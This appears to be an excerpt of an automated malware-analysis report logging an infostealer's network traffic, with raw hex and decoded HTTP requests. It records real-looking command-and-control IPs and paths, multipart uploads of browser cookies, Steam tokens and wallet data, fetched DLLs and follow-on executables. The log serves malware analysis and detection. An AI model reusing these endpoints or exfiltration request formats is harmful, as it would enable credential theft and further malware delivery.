2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 2d 2d 0d 0a Data Ascii: ------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCGCFHDHIIIDGCAAEGDHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 2d 2d 0d 0a Data Ascii: ------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="file"------FHCGCFHDHIIIDGCAAEGD--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIIIIJKFCAAECAKFIEHHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 2d 2d 0d 0a Data Ascii: ------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="file"------AFIIIIJKFCAAECAKFIEH--
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJEBKECBAKFBGDGCBGDHost: 85.28.47.31Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKKFBFIDGDBFHJJEHIHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 4a 4a 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 4a 4a 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 4a 4a 45 48 49 2d 2d 0d 0a Data Ascii: ------CAKKKFBFIDGDBFHJJEHIContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------CAKKKFBFIDGDBFHJJEHIContent-Disposition: form-data; name="message"wallets------CAKKKFBFIDGDBFHJJEHI--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDBKJKFIECAAAKFBFBHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 2d 2d 0d 0a Data Ascii: ------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="message"ybncbhylepme------FHJDBKJKFIECAAAKFBFB--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDHJKFBGIIJJKFIJDBGHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 2d 2d 0d 0a Data Ascii: ------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="file"------IIDHJKFBGIIJJKFIJDBG--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBAHost: 85.28.47.31Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 2d 2d 0d 0a Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="message"files------DHIDHIEGIIIECAKEBFBA--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGCBAFCGDAAKFIDGIEHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 2d 2d 0d 0a Data Ascii: ------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEBGCBAFCGDAAKFIDGIE--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000016001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIDAFCGIEHIEBFCFBAHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 41 41 32 45 43 42 43 45 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 2d 2d 0d 0a Data Ascii: ------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="hwid"25AA2ECBCE684217651120------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="build"sila------DGHIDAFCGIEHIEBFCFBA--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
